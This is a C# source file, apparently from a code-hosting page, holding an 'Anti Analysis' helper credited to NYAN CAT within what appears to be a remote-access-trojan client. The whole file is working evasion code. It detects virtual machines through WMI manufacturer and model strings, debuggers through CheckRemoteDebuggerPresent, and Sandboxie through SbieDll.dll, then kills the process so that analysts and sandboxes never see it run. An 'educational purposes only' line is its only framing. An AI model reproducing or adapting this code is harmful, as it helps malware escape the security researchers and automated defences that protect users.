68 lines
2.1 KiB
C#
68 lines
2.1 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Management;
|
|
using System.Runtime.InteropServices;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : Anti Analysis v0.2
|
|
// │ Contact : https://github.com/NYAN-x-CAT
|
|
|
|
// This program is distributed for educational purposes only.
|
|
|
|
|
|
|
|
namespace Client.Helper
|
|
{
|
|
class Anti_Analysis
|
|
{
|
|
public static void RunAntiAnalysis()
|
|
{
|
|
if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
|
|
Environment.FailFast(null);
|
|
}
|
|
|
|
private static bool DetectVirtualMachine()
|
|
{
|
|
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
|
|
{
|
|
using (var items = searcher.Get())
|
|
{
|
|
foreach (var item in items)
|
|
{
|
|
string manufacturer = item["Manufacturer"].ToString().ToLower();
|
|
if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
|
|
|| manufacturer.Contains("vmware")
|
|
|| item["Model"].ToString() == "VirtualBox")
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
private static bool DetectDebugger()
|
|
{
|
|
bool isDebuggerPresent = false;
|
|
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
|
|
return isDebuggerPresent;
|
|
}
|
|
|
|
private static bool DetectSandboxie()
|
|
{
|
|
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
|
return true;
|
|
else
|
|
return false;
|
|
}
|
|
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
|
static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
|
|
}
|
|
}
|